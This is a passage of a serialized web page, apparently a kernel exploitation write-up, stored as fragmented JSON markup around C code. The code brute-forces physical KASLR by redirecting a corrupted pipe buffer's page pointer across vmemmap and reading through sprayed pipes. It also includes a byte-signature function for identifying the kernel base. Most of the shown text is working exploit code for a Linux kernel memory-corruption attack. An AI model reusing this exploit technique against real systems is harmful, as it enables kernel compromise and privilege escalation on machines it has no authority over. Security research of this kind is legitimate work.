kernel base and then start a page by page search from there.",{"type":26,"tag":465,"props":58089,"children":58091},{"className":28812,"code":58090,"language":28814,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[58092],{"type":26,"tag":53,"props":58093,"children":58094},{"__ignoreMap":7},[58095,58102,58110,58118,58142,58175,58195,58235,58242,58286,58320,58347,58383,58390,58436,58443,58473,58486,58551,58558,58570,58577,58584,58591,58617,58624,58644,58656,58663,58670,58677],{"type":26,"tag":475,"props":58096,"children":58097},{"class":477,"line":478},[58098],{"type":26,"tag":475,"props":58099,"children":58100},{"style":499},[58101],{"type":32,"value":2219},{"type":26,"tag":475,"props":58103,"children":58104},{"class":477,"line":516},[58105],{"type":26,"tag":475,"props":58106,"children":58107},{"style":499},[58108],{"type":32,"value":58109},"// Bruteforce phys-KASLR\n",{"type":26,"tag":475,"props":58111,"children":58112},{"class":477,"line":539},[58113],{"type":26,"tag":475,"props":58114,"children":58115},{"style":499},[58116],{"type":32,"value":58117}," uint64_t kernel_base;\n",{"type":26,"tag":475,"props":58119,"children":58120},{"class":477,"line":548},[58121,58125,58130,58134,58138],{"type":26,"tag":475,"props":58122,"children":58123},{"style":482},[58124],{"type":32,"value":46166},{"type":26,"tag":475,"props":58126,"children":58127},{"style":499},[58128],{"type":32,"value":58129}," found ",{"type":26,"tag":475,"props":58131,"children":58132},{"style":714},[58133],{"type":32,"value":786},{"type":26,"tag":475,"props":58135,"children":58136},{"style":482},[58137],{"type":32,"value":8769},{"type":26,"tag":475,"props":58139,"children":58140},{"style":499},[58141],{"type":32,"value":2729},{"type":26,"tag":475,"props":58143,"children":58144},{"class":477,"line":558},[58145,58150,58154,58159,58163,58167,58171],{"type":26,"tag":475,"props":58146,"children":58147},{"style":482},[58148],{"type":32,"value":58149}," uint8_t",{"type":26,"tag":475,"props":58151,"children":58152},{"style":2375},[58153],{"type":32,"value":14810},{"type":26,"tag":475,"props":58155,"children":58156},{"style":499},[58157],{"type":32,"value":58158},"[PAGE_SIZE] ",{"type":26,"tag":475,"props":58160,"children":58161},{"style":714},[58162],{"type":32,"value":786},{"type":26,"tag":475,"props":58164,"children":58165},{"style":499},[58166],{"type":32,"value":44910},{"type":26,"tag":475,"props":58168,"children":58169},{"style":903},[58170],{"type":32,"value":3732},{"type":26,"tag":475,"props":58172,"children":58173},{"style":499},[58174],{"type":32,"value":16283},{"type":26,"tag":475,"props":58176,"children":58177},{"class":477,"line":582},[58178,58182,58186,58191],{"type":26,"tag":475,"props":58179,"children":58180},{"style":493},[58181],{"type":32,"value":55198},{"type":26,"tag":475,"props":58183,"children":58184},{"style":499},[58185],{"type":32,"value":626},{"type":26,"tag":475,"props":58187,"children":58188},{"style":629},[58189],{"type":32,"value":58190},"\"[*] bruteforce phys-KASLR\"",{"type":26,"tag":475,"props":58192,"children":58193},{"style":499},[58194],{"type":32,"value":3533},{"type":26,"tag":475,"props":58196,"children":58197},{"class":477,"line":596},[58198,58202,58206,58210,58214,58218,58222,58227,58231],{"type":26,"tag":475,"props":58199,"children":58200},{"style":586},[58201],{"type":32,"value":2737},{"type":26,"tag":475,"props":58203,"children":58204},{"style":499},[58205],{"type":32,"value":2775},{"type":26,"tag":475,"props":58207,"children":58208},{"style":482},[58209],{"type":32,"value":55326},{"type":26,"tag":475,"props":58211,"children":58212},{"style":499},[58213],{"type":32,"value":54235},{"type":26,"tag":475,"props":58215,"children":58216},{"style":714},[58217],{"type":32,"value":786},{"type":26,"tag":475,"props":58219,"children":58220},{"style":903},[58221],{"type":32,"value":2752},{"type":26,"tag":475,"props":58223,"children":58224},{"style":499},[58225],{"type":32,"value":58226},";; i",{"type":26,"tag":475,"props":58228,"children":58229},{"style":714},[58230],{"type":32,"value":50961},{"type":26,"tag":475,"props":58232,"children":58233},{"style":499},[58234],{"type":32,"value":647},{"type":26,"tag":475,"props":58236,"children":58237},{"class":477,"line":610},[58238],{"type":26,"tag":475,"props":58239,"children":58240},{"style":499},[58241],{"type":32,"value":28889},{"type":26,"tag":475,"props":58243,"children":58244},{"class":477,"line":650},[58245,58250,58254,58259,58263,58268,58272,58277,58281],{"type":26,"tag":475,"props":58246,"children":58247},{"style":499},[58248],{"type":32,"value":58249}," kernel_base ",{"type":26,"tag":475,"props":58251,"children":58252},{"style":714},[58253],{"type":32,"value":786},{"type":26,"tag":475,"props":58255,"children":58256},{"style":903},[58257],{"type":32,"value":58258}," 0x40",{"type":26,"tag":475,"props":58260,"children":58261},{"style":714},[58262],{"type":32,"value":9525},{"type":26,"tag":475,"props":58264,"children":58265},{"style":499},[58266],{"type":32,"value":58267}," ((PHYSICAL_ALIGN ",{"type":26,"tag":475,"props":58269,"children":58270},{"style":714},[58271],{"type":32,"value":4282},{"type":26,"tag":475,"props":58273,"children":58274},{"style":499},[58275],{"type":32,"value":58276}," i) ",{"type":26,"tag":475,"props":58278,"children":58279},{"style":714},[58280],{"type":32,"value":12469},{"type":26,"tag":475,"props":58282,"children":58283},{"style":499},[58284],{"type":32,"value":58285}," PAGE_SHIFT);\n",{"type":26,"tag":475,"props":58287,"children":58288},{"class":477,"line":679},[58289,58294,58298,58302,58306,58311,58315],{"type":26,"tag":475,"props":58290,"children":58291},{"style":2375},[58292],{"type":32,"value":58293}," pipebuf",{"type":26,"tag":475,"props":58295,"children":58296},{"style":499},[58297],{"type":32,"value":13464},{"type":26,"tag":475,"props":58299,"children":58300},{"style":2375},[58301],{"type":32,"value":58016},{"type":26,"tag":475,"props":58303,"children":58304},{"style":714},[58305],{"type":32,"value":2383},{"type":26,"tag":475,"props":58307,"children":58308},{"style":499},[58309],{"type":32,"value":58310}," vmemmap_base ",{"type":26,"tag":475,"props":58312,"children":58313},{"style":714},[58314],{"type":32,"value":1106},{"type":26,"tag":475,"props":58316,"children":58317},{"style":499},[58318],{"type":32,"value":58319}," kernel_base;\n",{"type":26,"tag":475,"props":58321,"children":58322},{"class":477,"line":735},[58323,58327,58331,58335,58339,58343],{"type":26,"tag":475,"props":58324,"children":58325},{"style":2375},[58326],{"type":32,"value":58293},{"type":26,"tag":475,"props":58328,"children":58329},{"style":499},[58330],{"type":32,"value":13464},{"type":26,"tag":475,"props":58332,"children":58333},{"style":2375},[58334],{"type":32,"value":13608},{"type":26,"tag":475,"props":58336,"children":58337},{"style":714},[58338],{"type":32,"value":2383},{"type":26,"tag":475,"props":58340,"children":58341},{"style":903},[58342],{"type":32,"value":2752},{"type":26,"tag":475,"props":58344,"children":58345},{"style":499},[58346],{"type":32,"value":2729},{"type":26,"tag":475,"props":58348,"children":58349},{"class":477,"line":744},[58350,58354,58358,58362,58366,58371,58375,58379],{"type":26,"tag":475,"props":58351,"children":58352},{"style":2375},[58353],{"type":32,"value":58293},{"type":26,"tag":475,"props":58355,"children":58356},{"style":499},[58357],{"type":32,"value":13464},{"type":26,"tag":475,"props":58359,"children":58360},{"style":2375},[58361],{"type":32,"value":8849},{"type":26,"tag":475,"props":58363,"children":58364},{"style":714},[58365],{"type":32,"value":2383},{"type":26,"tag":475,"props":58367,"children":58368},{"style":499},[58369],{"type":32,"value":58370}," PAGE_SIZE ",{"type":26,"tag":475,"props":58372,"children":58373},{"style":714},[58374],{"type":32,"value":1106},{"type":26,"tag":475,"props":58376,"children":58377},{"style":903},[58378],{"type":32,"value":4234},{"type":26,"tag":475,"props":58380,"children":58381},{"style":499},[58382],{"type":32,"value":2729},{"type":26,"tag":475,"props":58384,"children":58385},{"class":477,"line":753},[58386],{"type":26,"tag":475,"props":58387,"children":58388},{"style":499},[58389],{"type":32,"value":2219},{"type":26,"tag":475,"props":58391,"children":58392},{"class":477,"line":761},[58393,58398,58402,58406,58410,58414,58419,58423,58428,58432],{"type":26,"tag":475,"props":58394,"children":58395},{"style":499},[58396],{"type":32,"value":58397}," for (",{"type":26,"tag":475,"props":58399,"children":58400},{"style":482},[58401],{"type":32,"value":18755},{"type":26,"tag":475,"props":58403,"children":58404},{"style":2375},[58405],{"type":32,"value":8335},{"type":26,"tag":475,"props":58407,"children":58408},{"style":714},[58409],{"type":32,"value":2383},{"type":26,"tag":475,"props":58411,"children":58412},{"style":903},[58413],{"type":32,"value":2752},{"type":26,"tag":475,"props":58415,"children":58416},{"style":499},[58417],{"type":32,"value":58418},"; j ",{"type":26,"tag":475,"props":58420,"children":58421},{"style":714},[58422],{"type":32,"value":5519},{"type":26,"tag":475,"props":58424,"children":58425},{"style":499},[58426],{"type":32,"value":58427}," PIPE_SPRAY; j",{"type":26,"tag":475,"props":58429,"children":58430},{"style":714},[58431],{"type":32,"value":50961},{"type":26,"tag":475,"props":58433,"children":58434},{"style":499},[58435],{"type":32,"value":647},{"type":26,"tag":475,"props":58437,"children":58438},{"class":477,"line":770},[58439],{"type":26,"tag":475,"props":58440,"children":58441},{"style":499},[58442],{"type":32,"value":31359},{"type":26,"tag":475,"props":58444,"children":58445},{"class":477,"line":794},[58446,58451,58455,58459,58464,58468],{"type":26,"tag":475,"props":58447,"children":58448},{"style":493},[58449],{"type":32,"value":58450}," memset",{"type":26,"tag":475,"props":58452,"children":58453},{"style":499},[58454],{"type":32,"value":626},{"type":26,"tag":475,"props":58456,"children":58457},{"style":714},[58458],{"type":32,"value":2816},{"type":26,"tag":475,"props":58460,"children":58461},{"style":499},[58462],{"type":32,"value":58463},"data, ",{"type":26,"tag":475,"props":58465,"children":58466},{"style":903},[58467],{"type":32,"value":3732},{"type":26,"tag":475,"props":58469,"children":58470},{"style":499},[58471],{"type":32,"value":58472},", PAGE_SIZE);\n",{"type":26,"tag":475,"props":58474,"children":58475},{"class":477,"line":831},[58476,58481],{"type":26,"tag":475,"props":58477,"children":58478},{"style":482},[58479],{"type":32,"value":58480}," int",{"type":26,"tag":475,"props":58482,"children":58483},{"style":499},[58484],{"type":32,"value":58485}," count;\n",{"type":26,"tag":475,"props":58487,"children":58488},{"class":477,"line":845},[58489,58494,58499,58503,58508,58512,58517,58522,58526,58530,58534,58539,58543,58547],{"type":26,"tag":475,"props":58490,"children":58491},{"style":586},[58492],{"type":32,"value":58493}," if",{"type":26,"tag":475,"props":58495,"children":58496},{"style":499},[58497],{"type":32,"value":58498}," (count ",{"type":26,"tag":475,"props":58500,"children":58501},{"style":714},[58502],{"type":32,"value":786},{"type":26,"tag":475,"props":58504,"children":58505},{"style":493},[58506],{"type":32,"value":58507}," read",{"type":26,"tag":475,"props":58509,"children":58510},{"style":499},[58511],{"type":32,"value":626},{"type":26,"tag":475,"props":58513,"children":58514},{"style":2375},[58515],{"type":32,"value":58516},"pfd",{"type":26,"tag":475,"props":58518,"children":58519},{"style":499},[58520],{"type":32,"value":58521},"[j][",{"type":26,"tag":475,"props":58523,"children":58524},{"style":903},[58525],{"type":32,"value":3732},{"type":26,"tag":475,"props":58527,"children":58528},{"style":499},[58529],{"type":32,"value":22769},{"type":26,"tag":475,"props":58531,"children":58532},{"style":714},[58533],{"type":32,"value":2816},{"type":26,"tag":475,"props":58535,"children":58536},{"style":499},[58537],{"type":32,"value":58538},"data, PAGE_SIZE) ",{"type":26,"tag":475,"props":58540,"children":58541},{"style":714},[58542],{"type":32,"value":5519},{"type":26,"tag":475,"props":58544,"children":58545},{"style":903},[58546],{"type":32,"value":2752},{"type":26,"tag":475,"props":58548,"children":58549},{"style":499},[58550],{"type":32,"value":647},{"type":26,"tag":475,"props":58552,"children":58553},{"class":477,"line":854},[58554],{"type":26,"tag":475,"props":58555,"children":58556},{"style":499},[58557],{"type":32,"value":31395},{"type":26,"tag":475,"props":58559,"children":58560},{"class":477,"line":862},[58561,58566],{"type":26,"tag":475,"props":58562,"children":58563},{"style":586},[58564],{"type":32,"value":58565}," continue",{"type":26,"tag":475,"props":58567,"children":58568},{"style":499},[58569],{"type":32,"value":2729},{"type":26,"tag":475,"props":58571,"children":58572},{"class":477,"line":885},[58573],{"type":26,"tag":475,"props":58574,"children":58575},{"style":499},[58576],{"type":32,"value":741},{"type":26,"tag":475,"props":58578,"children":58579},{"class":477,"line":913},[58580],{"type":26,"tag":475,"props":58581,"children":58582},{"style":499},[58583],{"type":32,"value":2219},{"type":26,"tag":475,"props":58585,"children":58586},{"class":477,"line":926},[58587],{"type":26,"tag":475,"props":58588,"children":58589},{"emptyLinePlaceholder":18},[58590],{"type":32,"value":545},{"type":26,"tag":475,"props":58592,"children":58593},{"class":477,"line":948},[58594,58599,58604,58608,58612],{"type":26,"tag":475,"props":58595,"children":58596},{"style":499},[58597],{"type":32,"value":58598}," if (",{"type":26,"tag":475,"props":58600,"children":58601},{"style":505},[58602],{"type":32,"value":58603},"is_kernel_base",{"type":26,"tag":475,"props":58605,"children":58606},{"style":499},[58607],{"type":32,"value":626},{"type":26,"tag":475,"props":58609,"children":58610},{"style":505},[58611],{"type":32,"value":3408},{"type":26,"tag":475,"props":58613,"children":58614},{"style":499},[58615],{"type":32,"value":58616},")) // [1] identify kernel base\n",{"type":26,"tag":475,"props":58618,"children":58619},{"class":477,"line":966},[58620],{"type":26,"tag":475,"props":58621,"children":58622},{"style":499},[58623],{"type":32,"value":31395},{"type":26,"tag":475,"props":58625,"children":58626},{"class":477,"line":979},[58627,58632,58636,58640],{"type":26,"tag":475,"props":58628,"children":58629},{"style":499},[58630],{"type":32,"value":58631}," found ",{"type":26,"tag":475,"props":58633,"children":58634},{"style":714},[58635],{"type":32,"value":786},{"type":26,"tag":475,"props":58637,"children":58638},{"style":482},[58639],{"type":32,"value":1214},{"type":26,"tag":475,"props":58641,"children":58642},{"style":499},[58643],{"type":32,"value":2729},{"type":26,"tag":475,"props":58645,"children":58646},{"class":477,"line":1006},[58647,58652],{"type":26,"tag":475,"props":58648,"children":58649},{"style":586},[58650],{"type":32,"value":58651}," break",{"type":26,"tag":475,"props":58653,"children":58654},{"style":499},[58655],{"type":32,"value":2729},{"type":26,"tag":475,"props":58657,"children":58658},{"class":477,"line":1046},[58659],{"type":26,"tag":475,"props":58660,"children":58661},{"style":499},[58662],{"type":32,"value":741},{"type":26,"tag":475,"props":58664,"children":58665},{"class":477,"line":1068},[58666],{"type":26,"tag":475,"props":58667,"children":58668},{"style":499},[58669],{"type":32,"value":750},{"type":26,"tag":475,"props":58671,"children":58672},{"class":477,"line":1077},[58673],{"type":26,"tag":475,"props":58674,"children":58675},{"emptyLinePlaceholder":18},[58676],{"type":32,"value":545},{"type":26,"tag":475,"props":58678,"children":58679},{"class":477,"line":1090},[58680],{"type":26,"tag":475,"props":58681,"children":58682},{"style":499},[58683],{"type":32,"value":2219},{"type":26,"tag":35,"props":58685,"children":58686},{},[58687,58689,58693,58695,58701,58703,58707],{"type":32,"value":58688},"Notice that at ",{"type":26,"tag":475,"props":58690,"children":58691},{},[58692],{"type":32,"value":3722},{"type":32,"value":58694}," we call the ",{"type":26,"tag":53,"props":58696,"children":58698},{"className":58697},[],[58699],{"type":32,"value":58700},"is_kernel_base()",{"type":32,"value":58702}," function. This is a function based on lau's exploit ",{"type":26,"tag":475,"props":58704,"children":58705},{},[58706],{"type":32,"value":17816},{"type":32,"value":58708}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":26,"tag":465,"props":58710,"children":58712},{"className":28812,"code":58711,"language":28814,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[58713],{"type":26,"tag":53,"props":58714,"children":58715},{"__ignoreMap":7},[58716,58723,58753,58760,58768,58775,58783,58854,58916,58931,58938,58946,59014,59076,59137,59198,59260,59322,59383,59444,59505,59566,59627,59642,59649,59664,59671],{"type":26,"tag":475,"props":58717,"children":58718},{"class":477,"line":478},[58719],{"type":26,"tag":475,"props":58720,"children":58721},{"style":499},[58722],{"type":32,"value":2219},{"type":26,"tag":475,"props":58724,"children":58725},{"class":477,"line":516},[58726,58731,58736,58741,58745,58749],{"type":26,"tag":475,"props":58727,"children":58728},{"style":499},[58729],{"type":32,"value":58730},"static bool is_kernel_base(",{"type":26,"tag":475,"props":58732,"children":58733},{"style":482},[58734],{"type":32,"value":58735},"unsigned",{"type":26,"tag":475,"props":58737,"children":58738},{"style":482},[58739],{"type":32,"value":58740}," char",{"type":26,"tag":475,"props":58742,"children":58743},{"style":482},[58744],{"type":32,"value":9525},{"type":26,"tag":475,"props":58746,"children":58747},{"style":2375},[58748],{"type":32,"value":30390},{"type":26,"tag":475,"props":58750,"children":58751},{"style":499},[58752],{"type":32,"value":647},{"type":26,"tag":475,"props":58754,"children":58755},{"class":477,"line":539},[58756],{"type":26,"tag":475,"props":58757,"children":58758},{"style":499},[58759],{"type":32,"value":10589},{"type":26,"tag":475,"props":58761,"children":58762},{"class":477,"line":548},[58763],{"type":26,"tag":475,"props":58764,"children":58765},{"style":552},[58766],{"type":32,"value":58767}," // thanks lau :)\n",{"type":26,"tag":475,"props":58769,"children":58770},{"class":477,"line":558},[58771],{"type":26,"tag":475,"props":58772,"children":58773},{"emptyLinePlaceholder":18},[58774],{"type":32,"value":545},{"type":26,"tag":475,"props":58776,"children":58777},{"class":477,"line":582},[58778],{"type":26,"tag":475,"props":58779,"children":58780},{"style":552},[58781],{"type":32,"value":58782}," // get-sig kernel_runtime_1\n",{"type":26,"tag":475,"props":58784,"children":58785},{"class":477,"line":596},[58786,58790,58794,58799,58804,58808,58813,58817,58821,58826,58830,58834,58838,58842,58846,58850],{"type":26,"tag":475,"props":58787,"children":58788},{"style":586},[58789],{"type":32,"value":11988},{"type":26,"tag":475,"props":58791,"children":58792},{"style":499},[58793],{"type":32,"value":2775},{"type":26,"tag":475,"props":58795,"children":58796},{"style":493},[58797],{"type":32,"value":58798},"memcmp",{"type":26,"tag":475,"props":58800,"children":58801},{"style":499},[58802],{"type":32,"value":58803},"(addr ",{"type":26,"tag":475,"props":58805,"children":58806},{"style":714},[58807],{"type":32,"value":1106},{"type":26,"tag":475,"props":58809,"children":58810},{"style":903},[58811],{"type":32,"value":58812}," 0x0",{"type":26,"tag":475,"props":58814,"children":58815},{"style":499},[58816],{"type":32,"value":637},{"type":26,"tag":475,"props":58818,"children":58819},{"style":629},[58820],{"type":32,"value":727},{"type":26,"tag":475,"props":58822,"children":58823},{"style":48067},[58824],{"type":32,"value":58825},"\\x48\\x8d\\x25\\x51\\x3f",{"type":26,"tag":475,"props":58827,"children":58828},{"style":629},[58829],{"type":32,"value":727},{"type":26,"tag":475,"props":58831,"children":58832},{"style":499},[58833],{"type":32,"value":637},{"type":26,"tag":475,"props":58835,"children":58836},{"style":903},[58837],{"type":32,"value":17816},{"type":26,"tag":475,"props":58839,"children":58840},{"style":499},[58841],{"type":32,"value":2794},{"type":26,"tag":475,"props":58843,"children":58844},{"style":714},[58845],{"type":32,"value":8287},{"type":26,"tag":475,"props":58847,"children":58848},{"style":903},[58849],{"type":32,"value":2752},{"type":26,"tag":475,"props":58851,"children":58852},{"style":714},[58853],{"type":32,"value":52375},{"type":26,"tag":475,"props":58855,"children":58856},{"class":477,"line":610},[58857,58862,58866,58870,58875,58879,58883,58888,58892,58896,58900,58904,58908,58912],{"type":26,"tag":475,"props":58858,"children":58859},{"style":493},[58860],{"type":32,"value":58861}," memcmp",{"type":26,"tag":475,"props":58863,"children":58864},{"style":499},[58865],{"type":32,"value":58803},{"type":26,"tag":475,"props":58867,"children":58868},{"style":714},[58869],{"type":32,"value":1106},{"type":26,"tag":475,"props":58871,"children":58872},{"style":903},[58873],{"type":32,"value":58874}," 0x7",{"type":26,"tag":475,"props":58876,"children":58877},{"style":499},[58878],{"type":32,"value":637},{"type":26,"tag":475,"props":58880,"children":58881},{"style":629},[58882],{"type":32,"value":727},{"type":26,"tag":475,"props":58884,"children":58885},{"style":48067},[58886],{"type":32,"value":58887},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":26,"tag":475,"props":58889,"children":58890},{"style":629},[58891],{"type":32,"value":727},{"type":26,"tag":475,"props":58893,"children":58894},{"style":499},[58895],{"type":32,"value":637},{"type":26,"tag":475,"props":58897,"children":58898},{"style":903},[58899],{"type":32,"value":54362},{"type":26,"tag":475,"props":58901,"children":58902},{"style":499},[58903],{"type":32,"value":2794},{"type":26,"tag":475,"props":58905,"children":58906},{"style":714},[58907],{"type":32,"value":8287},{"type":26,"tag":475,"props":58909,"children":58910},{"style":903},[58911],{"type":32,"value":2752},{"type":26,"tag":475,"props":58913,"children":58914},{"style":499},[58915],{"type":32,"value":647},{"type":26,"tag":475,"props":58917,"children":58918},{"class":477,"line":650},[58919,58923,58927],{"type":26,"tag":475,"props":58920,"children":58921},{"style":586},[58922],{"type":32,"value":15449},{"type":26,"tag":475,"props":58924,"children":58925},{"style":482},[58926],{"type":32,"value":1214},{"type":26,"tag":475,"props":58928,"children":58929},{"style":499},[58930],{"type":32,"value":2729},{"type":26,"tag":475,"props":58932,"children":58933},{"class":477,"line":679},[58934],{"type":26,"tag":475,"props":58935,"children":58936},{"emptyLinePlaceholder":18},[58937],{"type":32,"value":545},{"type":26,"tag":475,"props":58939,"children":58940},{"class":477,"line":735},[58941],{"type":26,"tag":475,"props":58942,"children":58943},{"style":552},[58944],{"type":32,"value":58945}," // get-sig kernel_runtime_2\n",{"type":26,"tag":475,"props":58947,"children":58948},{"class":477,"line":744},[58949,58953,58957,58961,58965,58969,58973,58977,58981,58986,58990,58994,58998,59002,59006,59010],{"type":26,"tag":475,"props":58950,"children":58951},{"style":586},[58952],{"type":32,"value":11988},{"type":26,"tag":475,"props":58954,"children":58955},{"style":499},[58956],{"type":32,"value":2775},{"type":26,"tag":475,"props":58958,"children":58959},{"style":493},[58960],{"type":32,"value":58798},{"type":26,"tag":475,"props":58962,"children":58963},{"style":499},[58964],{"type":32,"value":58803},{"type":26,"tag":475,"props":58966,"children":58967},{"style":714},[58968],{"type":32,"value":1106},{"type":26,"tag":475,"props":58970,"children":58971},{"style":903},[58972],{"type":32,"value":58812},{"type":26,"tag":475,"props":58974,"children":58975},{"style":499},[58976],{"type":32,"value":637},{"type":26,"tag":475,"props":58978,"children":58979},{"style":629},[58980],{"type":32,"value":727},{"type":26,"tag":475,"props":58982,"children":58983},{"style":48067},[58984],{"type":32,"value":58985},"\\xfc\\x0f\\x01\\x15",{"type":26,"tag":475,"props":58987,"children":58988},{"style":629},[58989],{"type":32,"value":727},{"type":26,"tag":475,"props":58991,"children":58992},{"style":499},[58993],{"type":32,"value":637},{"type":26,"tag":475,"props":58995,"children":58996},{"style":903},[58997],{"type":32,"value":17235},{"type":26,"tag":475,"props":58999,"children":59000},{"style":499},[59001],{"type":32,"value":2794},{"type":26,"tag":475,"props":59003,"children":59004},{"style":714},[59005],{"type":32,"value":8287},{"type":26,"tag":475,"props":59007,"children":59008},{"style":903},[59009],{"type":32,"value":2752},{"type":26,"tag":475,"props":59011,"children":59012},{"style":714},[59013],{"type":32,"value":52375},{"type":26,"tag":475,"props":59015,"children":59016},{"class":477,"line":753},[59017,59021,59025,59029,59034,59038,59042,59047,59051,59055,59060,59064,59068,59072],{"type":26,"tag":475,"props":59018,"children":59019},{"style":493},[59020],{"type":32,"value":58861},{"type":26,"tag":475,"props":59022,"children":59023},{"style":499},[59024],{"type":32,"value":58803},{"type":26,"tag":475,"props":59026,"children":59027},{"style":714},[59028],{"type":32,"value":1106},{"type":26,"tag":475,"props":59030,"children":59031},{"style":903},[59032],{"type":32,"value":59033}," 0x8",{"type":26,"tag":475,"props":59035,"children":59036},{"style":499},[59037],{"type":32,"value":637},{"type":26,"tag":475,"props":59039,"children":59040},{"style":629},[59041],{"type":32,"value":727},{"type":26,"tag":475,"props":59043,"children":59044},{"style":48067},[59045],{"type":32,"value":59046},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":26,"tag":475,"props":59048,"children":59049},{"style":629},[59050],{"type":32,"value":727},{"type":26,"tag":475,"props":59052,"children":59053},{"style":499},[59054],{"type":32,"value":637},{"type":26,"tag":475,"props":59056,"children":59057},{"style":903},[59058],{"type":32,"value":59059},"12",{"type":26,"tag":475,"props":59061,"children":59062},{"style":499},[59063],{"type":32,"value":2794},{"type":26,"tag":475,"props":59065,"children":59066},{"style":714},[59067],{"type":32,"value":8287},{"type":26,"tag":475,"props":59069,"children":59070},{"style":903},[59071],{"type":32,"value":2752},{"type":26,"tag":475,"props":59073,"children":59074},{"style":714},[59075],{"type":32,"value":52375},{"type":26,"tag":475,"props":59077,"children":59078},{"class":477,"line":761},[59079,59083,59087,59091,59096,59100,59104,59109,59113,59117,59121,59125,59129,59133],{"type":26,"tag":475,"props":59080,"children":59081},{"style":493},[59082],{"type":32,"value":58861},{"type":26,"tag":475,"props":59084,"children":59085},{"style":499},[59086],{"type":32,"value":58803},{"type":26,"tag":475,"props":59088,"children":59089},{"style":714},[59090],{"type":32,"value":1106},{"type":26,"tag":475,"props":59092,"children":59093},{"style":903},[59094],{"type":32,"value":59095}," 0x18",{"type":26,"tag":475,"props":59097,"children":59098},{"style":499},[59099],{"type":32,"value":637},{"type":26,"tag":475,"props":59101,"children":59102},{"style":629},[59103],{"type":32,"value":727},{"type":26,"tag":475,"props":59105,"children":59106},{"style":48067},[59107],{"type":32,"value":59108},"\\x89\\xde\\x8b\\x0d",{"type":26,"tag":475,"props":59110,"children":59111},{"style":629},[59112],{"type":32,"value":727},{"type":26,"tag":475,"props":59114,"children":59115},{"style":499},[59116],{"type":32,"value":637},{"type":26,"tag":475,"props":59118,"children":59119},{"style":903},[59120],{"type":32,"value":17235},{"type":26,"tag":475,"props":59122,"children":59123},{"style":499},[59124],{"type":32,"value":2794},{"type":26,"tag":475,"props":59126,"children":59127},{"style":714},[59128],{"type":32,"value":8287},{"type":26,"tag":475,"props":59130,"children":59131},{"style":903},[59132],{"type":32,"value":2752},{"type":26,"tag":475,"props":59134,"children":59135},{"style":714},[59136],{"type":32,"value":52375},{"type":26,"tag":475,"props":59138,"children":59139},{"class":477,"line":770},[59140,59144,59148,59152,59157,59161,59165,59170,59174,59178,59182,59186,59190,59194],{"type":26,"tag":475,"props":59141,"children":59142},{"style":493},[59143],{"type":32,"value":58861},{"type":26,"tag":475,"props":59145,"children":59146},{"style":499},[59147],{"type":32,"value":58803},{"type":26,"tag":475,"props":59149,"children":59150},{"style":714},[59151],{"type":32,"value":1106},{"type":26,"tag":475,"props":59153,"children":59154},{"style":903},[59155],{"type":32,"value":59156}," 0x20",{"type":26,"tag":475,"props":59158,"children":59159},{"style":499},[59160],{"type":32,"value":637},{"type":26,"tag":475,"props":59162,"children":59163},{"style":629},[59164],{"type":32,"value":727},{"type":26,"tag":475,"props":59166,"children":59167},{"style":48067},[59168],{"type":32,"value":59169},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":26,"tag":475,"props":59171,"children":59172},{"style":629},[59173],{"type":32,"value":727},{"type":26,"tag":475,"props":59175,"children":59176},{"style":499},[59177],{"type":32,"value":637},{"type":26,"tag":475,"props":59179,"children":59180},{"style":903},[59181],{"type":32,"value":18128},{"type":26,"tag":475,"props":59183,"children":59184},{"style":499},[59185],{"type":32,"value":2794},{"type":26,"tag":475,"props":59187,"children":59188},{"style":714},[59189],{"type":32,"value":8287},{"type":26,"tag":475,"props":59191,"children":59192},{"style":903},[59193],{"type":32,"value":2752},{"type":26,"tag":475,"props":59195,"children":59196},{"style":714},[